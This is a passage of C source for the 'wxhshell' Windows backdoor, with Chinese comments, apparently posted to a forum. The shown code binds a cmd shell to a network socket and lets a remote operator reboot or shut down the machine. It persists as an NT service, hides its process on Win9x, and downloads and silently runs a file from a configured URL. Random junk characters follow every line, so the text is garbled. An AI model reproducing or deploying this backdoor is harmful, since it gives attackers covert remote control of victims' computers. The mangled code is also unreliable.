  case '?': { ,6f6r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Se\iM s  
    break; Q&@<?K9  
  } Y{@foIZ  
  // 安装 o)CW7Y#?,  
  case 'i': { Xi+l1xe  
    if(Install()) `r}a:w-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f'7/Wj  
    else /Tw $} 8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 4(bo \  
    break; $RHw6*COG  
    } 7C_U:x  
  // 卸载 Dr(;A>?qG  
  case 'r': { !+YSc&R_fW  
    if(Uninstall()) 1gvh6eE F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hh.`Yu L  
    else B{S^t\T$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]n'.}"8Kn  
    break; +(w9! 5?F  
    } %x}Unk  
  // 显示 wxhshell 所在路径 jH;L7  
  case 'p': { 8u"C7} N_  
    char svExeFile[MAX_PATH]; up~p_{x)Q  
    strcpy(svExeFile,"\n\r"); 5g'aNkF6>  
      strcat(svExeFile,ExeFile);  (tT%rj!  
        send(wsh,svExeFile,strlen(svExeFile),0);  j~cG#t]  
    break; gF;C% }  
    } @kba^z  
  // 重启 Q'j00/K  
  case 'b': { 46 |LIc }  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =NPo<^Lae  
    if(Boot(REBOOT)) })q8{Qj!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /nt%VLms %  
    else { !HW?/-\,O  
    closesocket(wsh); O-~cj7 0\  
    ExitThread(0); !NKPy+v  
    } w2`JFxQ^x  
    break; 62[_u]<Yub  
    } |uRYejj#j  
  // 关机 G!Y7Rj WD  
  case 'd': { O\@0o|NM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b=L|GV@$  
    if(Boot(SHUTDOWN)) 9):^[Wkx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Py Z{yS  
    else { [Z1,~(3  
    closesocket(wsh); ?fpI,WFu  
    ExitThread(0); O31.\ZR2  
    } )o&}i3~Q  
    break; [W dxMU  
    } c.>OpsF  
  // 获取shell _PP-'^ U  
  case 's': { 0nR_I^  
    CmdShell(wsh); <4;L& 3  
    closesocket(wsh); 8lCo\T5"  
    ExitThread(0); ' (3|hh)Tl  
    break; cz$*6P<9J  
  } <#T #+uO  
  // 退出 #,!/Cnqis  
  case 'x': { OPv~1h<[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e4.G9(  
    CloseIt(wsh); :<1PCX2  
    break; =RlAOgJ  
    } >k~3W> D  
  // 离开 )S@TYzdAN  
  case 'q': { SK,UW6h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "`[4(j  
    closesocket(wsh); =}F$r5]  
    WSACleanup(); 99b"WH^3$y  
    exit(1); :ee'|c  
    break; 8Urj;KkD  
        } 8`WaUB%  
  } DM(c :+K-  
  } ^X:g C9  
sHSg _/|  
  // 提示信息 5hlS2fn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cNl$ vP83z  
} -e*(+  
  } - KaU@t  
 LD}<|  
  return; ovvg"/>L  
} 7X.B  
] ; B`'Ia  
// shell模块句柄 M-C>I;a  
int CmdShell(SOCKET sock) #ePtfRzJ  
{ zZPXI&,  
STARTUPINFO si; AUr~b3< 6  
ZeroMemory(&si,sizeof(si)); ^F|/\i   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]"\sd"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cs^'g'  
PROCESS_INFORMATION ProcessInfo; v%E!  
char cmdline[]="cmd"; 4Jw_gOY&D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ | (Tg  
  return 0; MQo/R,F }  
} ]%h|ox0  
q]P$NeEiZ"  
// 自身启动模式 uCf _O~  
int StartFromService(void) *p^*>~i9)  
{ C4eQ.ep  
typedef struct /nNrvMt v  
{ 0?'v|5}  
  DWORD ExitStatus; )zo:Bo .<  
  DWORD PebBaseAddress; R]TS5b-  
  DWORD AffinityMask; ?!n0N\|i]  
  DWORD BasePriority; NH8\&#}nAK  
  ULONG UniqueProcessId; 9?+?V}o  
  ULONG InheritedFromUniqueProcessId; Sfffm$H  
}   PROCESS_BASIC_INFORMATION; [nB4s+NX  
@t3&#I}mc  
PROCNTQSIP NtQueryInformationProcess; ;2,Q:&`   
)"Dl,Fig:/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q_h/zPuH'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |6Qn/N$+f  
 TsI%M  
  HANDLE             hProcess; QbEb} Jt  
  PROCESS_BASIC_INFORMATION pbi; cGv`%  
KhNO xMZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JcW<<7R  
  if(NULL == hInst ) return 0; cdD?QnZ  
2zbV9Bhq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2U'Vq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E~c>LF_]Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  dm{/  
RjGJfN {  
  if (!NtQueryInformationProcess) return 0; HP[M"u  
}(w9[(K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7[YulC-pH  
  if(!hProcess) return 0; GFYHt!&[\  
UiN6-{v<2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 91}kBj  
B3@\Ua)  
  CloseHandle(hProcess); zd {\XW  
C+aL8_(R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hni?r!8r  
if(hProcess==NULL) return 0; q,.@<sW  
d0G d5%  
HMODULE hMod; T1YbF/M'  
char procName[255]; /"7_75 t  
unsigned long cbNeeded; G`FY[^:  
U#kd cc|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^eCMATE  
m4'x>Z  
  CloseHandle(hProcess); #PA 9bM  
7;Vqr$9)  
if(strstr(procName,"services")) return 1; // 以服务启动 #;s5=aH  
pLsWy&G  
  return 0; // 注册表启动 pXoT@[}  
} n_P2l<F~/x  
Jm]P,jaLc  
// 主模块 ECLQqjB  
int StartWxhshell(LPSTR lpCmdLine) JnXVI!+JDL  
{ unAu8k^  
  SOCKET wsl; 0GMov]W?i  
BOOL val=TRUE; vQ1#Zg y  
  int port=0; :lp V  
  struct sockaddr_in door; V})b.\"F  
`fq#W#Pu  
  if(wscfg.ws_autoins) Install(); 1YvE/<6  
L(_bf/ @3  
port=atoi(lpCmdLine); ac#I $V-  
XjU/7Q  
if(port<=0) port=wscfg.ws_port; #0 eop>O  
7uxUqM  
  WSADATA data; @ wx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V-w{~  
Y]: Ch (Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q <2 `ek  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zo T8  
  door.sin_family = AF_INET; s=83a{#K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )wfqGkr=m!  
  door.sin_port = htons(port); C0 o  
2~)r,.,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )]3_o!o  
closesocket(wsl); ,p9>/)l  
return 1; R}HNi(%"  
} C=<PYkt,L  
W&;,7T8@  
  if(listen(wsl,2) == INVALID_SOCKET) { H.*aVb$  
closesocket(wsl); +VRM:&  
return 1; +`l)W`zX  
} 2HF_kYZ  
  Wxhshell(wsl); o$KW*aDp  
  WSACleanup(); y}GFtRNG  
BFn4H%1  
return 0; )^LiAL h  
zT ; +akq  
} ]T1\gv1~  
^/DP%^D  
// 以NT服务方式启动 $Lt'xW`8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %v, a3^Qu  
{ $`6Q\=*R/  
DWORD   status = 0; cOvdC4  
  DWORD   specificError = 0xfffffff; 4~Jg\@  
+ vO; J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /DoSU>%hK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9 1ndr@*|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JbXd9AMh2  
  serviceStatus.dwWin32ExitCode     = 0; ^H~g7&f9?N  
  serviceStatus.dwServiceSpecificExitCode = 0; ISi^BFU  
  serviceStatus.dwCheckPoint       = 0; ] Wx?k7T  
  serviceStatus.dwWaitHint       = 0; ytyB:# J  
agp7zw=N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EdC/]  
  if (hServiceStatusHandle==0) return; tM3Q;8gB!  
TWSx9ii!M:  
status = GetLastError(); JbLHW26pl  
  if (status!=NO_ERROR) i.0.oy>  
{ W>y &  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }5]7lGR  
    serviceStatus.dwCheckPoint       = 0; 9oTtH7%  
    serviceStatus.dwWaitHint       = 0; 7)dCdO  
    serviceStatus.dwWin32ExitCode     = status; B*AB@  
    serviceStatus.dwServiceSpecificExitCode = specificError; o3(:R0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JXF0}T)C  
    return; !YENJJ  
  } %ZM"c  
1}ws@hU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nUf0TkA  
  serviceStatus.dwCheckPoint       = 0; >Q[3t79^  
  serviceStatus.dwWaitHint       = 0; ^:Fj+d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F-%Hw  
} -SUK [<=X  
\t?rHB3"  
// 处理NT服务事件,比如:启动、停止 h8hyQd$!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <N,:w`g#  
{ L-1#n  
switch(fdwControl) XS=f>e1<W  
{ }0AoV&75  
case SERVICE_CONTROL_STOP: @|EWif|  
  serviceStatus.dwWin32ExitCode = 0; DAf0bh"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jhH&}d9  
  serviceStatus.dwCheckPoint   = 0; ) m(!lDz3  
  serviceStatus.dwWaitHint     = 0; Wg\MaZ6Di  
  { A\ r}V-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j] J-#J  
  } m"GgaH3,  
  return; R^&.:;Wi>  
case SERVICE_CONTROL_PAUSE: 2"IDz01ne  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \Sv8c}8  
  break; L'u*WHj|v  
case SERVICE_CONTROL_CONTINUE: <HH\VG\H6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dheobD  
  break; e5#?@}?  
case SERVICE_CONTROL_INTERROGATE: IZ<Et/3H  
  break; @K1'Q!S *  
}; PC3?eS}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 l7iX]  
} ]\ t20R{z  
g9@H4y6fe=  
// 标准应用程序主函数 pch8A0JAl)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !p!^[/9"c  
{ d'@i8N["{  
ag6[Nk  
// 获取操作系统版本 $V,ZH* g  
OsIsNt=GetOsVer(); m,V"S(A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jbWgL$  
HsKq/Oyk  
  // 从命令行安装 "xAIK  
  if(strpbrk(lpCmdLine,"iI")) Install(); TlD^EJG  
OM?FpRVU8  
  // 下载执行文件 F+)g!NQZ  
if(wscfg.ws_downexe) { jwmPy)X|s\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TgA>(HcO  
  WinExec(wscfg.ws_filenam,SW_HIDE); _o? I=UN2:  
} `t3w|%La}  
Q[)3r ,D  
if(!OsIsNt) { .S[M: <<*  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,0f^>3&n>e  
HideProc(); W/<Lp+p  
StartWxhshell(lpCmdLine); ';xp+,'}\  
} #=N6[:,  
else @6b4YV h  
  if(StartFromService()) )zkr[;j~`  
  // 以服务方式启动 r-o+NV  
  StartServiceCtrlDispatcher(DispatchTable); @cc}[Uw4B  
else lJdrrR)wg  
  // 普通方式启动 {9v Mc  
  StartWxhshell(lpCmdLine); BAojP1}+,  
;:/C.%d  
return 0; T&'LQZM8  
}
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只看该作者 1 发表于: 2006-10-10
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